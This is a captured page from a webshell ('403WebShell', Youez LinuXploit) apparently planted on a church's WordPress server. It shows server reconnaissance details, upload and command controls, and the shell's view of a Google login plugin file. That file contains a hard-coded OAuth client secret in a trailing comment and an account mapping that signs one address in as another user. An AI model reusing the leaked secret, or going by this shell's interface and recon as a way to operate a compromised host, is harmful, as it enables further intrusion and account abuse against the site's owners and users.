Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_www/wp-content/plugins/his-login/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_www/wp-content/plugins/his-login/lib/authenticate_google.php
<?php


// composer require google/apiclient:^2.12.1

class authenticate_google extends his_authenticate {

    public function __construct() {
        parent::__construct();
        $this->Name('Google')
            ->Head('<script src="https://accounts.google.com/gsi/client" async defer></script>')
            ->Body('')
            ->onValueChange();
    }

    public function FieldDefinition() {
        return [
            [   
                'name' => 'gg_client_id',
                'caption' => 'Client ID',
                'type' => 'string',
//            ], [
//              'name' => 'gg_secret',
//              'caption' => 'Client Secret',
//              'type' => 'string',
            ], [ 
                'name' => 'au_client_id',
                'caption' => 'Client ID (Stage)',
                'type' => 'string',
            ], [ 
                'name' => 'au_secret',
                'caption' => 'Client Secret (Stage)',
                'type' => 'string',
			]
        ];
    }

    protected function onValueChange() {
		$site = get_site_url();

		$isYouTube = (int) ($_COOKIE['youtube'] ?? '0');
		if ($isYouTube) {
			$id = htmlspecialchars($this->getValue('au_client_id'));
			$html = <<<BLOCK
<script type="application/javascript">
  let client;

  function initClient() {
    client = google.accounts.oauth2.initCodeClient({
      client_id: '{$id}',
      scope: 'https://www.googleapis.com/auth/youtube https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile',
      ux_mode: 'redirect',
	  redirect_uri: '{$site}/~/google-auth',
    });
	jQuery('.bind-google').on('click', function(e) {
		e.preventDefault();
		client.requestCode();
	});
  }

  window.onload = initClient;
</script>

BLOCK;
			$this->Body($html);
$text = <<<BLOCK
<a class="bind-google" href="#"><img src="/wp-content/plugins/his-login/google.jpg"></a>

BLOCK;
			$this->Button($text);
		} else {
			$id = htmlspecialchars($this->getValue());
			$text = <<<BLOCK
<div id="g_id_onload"
     data-client_id="$id"
     data-context="signin"
     data-ux_mode="redirect"
     data-login_uri="$site/~/google-auth"
     data-auto_prompt="false">
</div>

<div class="g_id_signin"
     data-type="standard"
     data-shape="rectangular"
     data-theme="filled_blue"
     data-text="signin_with"
     data-size="large"
     data-logo_alignment="left"
     data-width="400">
</div>
        
BLOCK;
			$this->Button($text);
		}
		
        return $this;
    }

    public function getValue($key = 'gg_client_id') {
        return $this->values[$key] ?? '';
    }
      
    public function onUrl($url) {
        if (substr($url, 0, 14) == '/~/google-auth') {
			
			$site = get_site_url();
			$isYouTube = (int) ($_COOKIE['youtube'] ?? '0');
			$client_id =  $isYouTube ? $this->getValue('au_client_id') : $this->getValue();
			if ($this->isPost && $_POST['credential']) {
				$client = new Google\Client([
					'client_id' => $client_id,
				]);
				$id_token = $_POST['credential'];
				$payload = $client->verifyIdToken($id_token);
				
			}
			if (!$this->isPost && $_GET['code']) {
				@session_start();

				$client = new Google\Client([
					'client_id' => $client_id,
					'redirect_uri' => $site . '/~/google-auth',
				]);
				$client->setClientSecret($this->getValue('au_secret'));
				$token = $client->fetchAccessTokenWithAuthCode($_GET['code']);
				
				if ($client->isAccessTokenExpired()) {
					$client->fetchAccessTokenWithRefreshToken($client->getRefreshToken());
					// Store the updated token back to your database or session
					$token = $client->getAccessToken();
				}
				
				$_SESSION['google_token'] = $token;
				unset($client);

				$client = new Google\Client([
					'client_id' => $client_id,
				]);
				$client->setAccessToken($token);
				$oauth2 = new Google\Service\Oauth2($client);
				$userInfo = $oauth2->userinfo->get();
				$email = $userInfo->email;
				if ($email == 'christadelphian-3075@pages.plusgoogle.com') {
					// sign in as phil, playlist functions are all valid
					$_SESSION['playlist_valid'] = 1;
					return [
						'id'        => '109897608870967824699',
						'email'     => 'phil@hopeinstoughton.org',
						'name'      => 'Phil',
					];
				} elseif ($userInfo->verifiedEmail == 'verified_email') {
					// otherwise sign in as user, playlist functions are unvalid
					$_SESSION['playlist_valid'] = 0;
					return [
						'id'        => $userInfo->id,
						'email'     => $email,
						'name'      => $userInfo->given_name,
						'picture'   => $userInfo->picture,
					];

				}
			}

			if (is_array($payload) && $payload['email_verified']) {
				$_SESSION['playlist_valid'] = 0;
				return [
					'id'        => $payload['sub'],
					'email'     => $payload['email'],
					'name'      => $payload['name'],
					'picture'   => $payload['picture'],
				];
			} else {
				return FALSE;           // invalid or not verified
			}
        }
        return NULL;                    // not intercepted
    }


}

return new authenticate_google;


// https://developers.google.com/identity/gsi/web/guides/overview
// Google Identity Services for Web
// https://developers.google.com/identity/oauth2/web/guides/get-google-api-clientid
// https://developers.google.com/identity/gsi/web/tools/configurator
// https://hopeinstoughton.org/~/google-auth
// https://developers.google.com/identity/gsi/web/guides/verify-google-id-token
//            {"web":{"client_id":"131333164667-qk0m54da0nq22phnlvdlpd9c5tpgk921.apps.googleusercontent.com","project_id":"hopeinstoughton-login","auth_uri":"https://accounts.google.com/o/oauth2/auth","token_uri":"https://oauth2.googleapis.com/token","auth_provider_x509_cert_url":"https://www.googleapis.com/oauth2/v1/certs","client_secret":"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","redirect_uris":["https://hopeinstoughton.org/~/google-auth"],"javascript_origins":["https://hopeinstoughton.org"]}}

Youez - 2016 - github.com/yon3zu
LinuXploit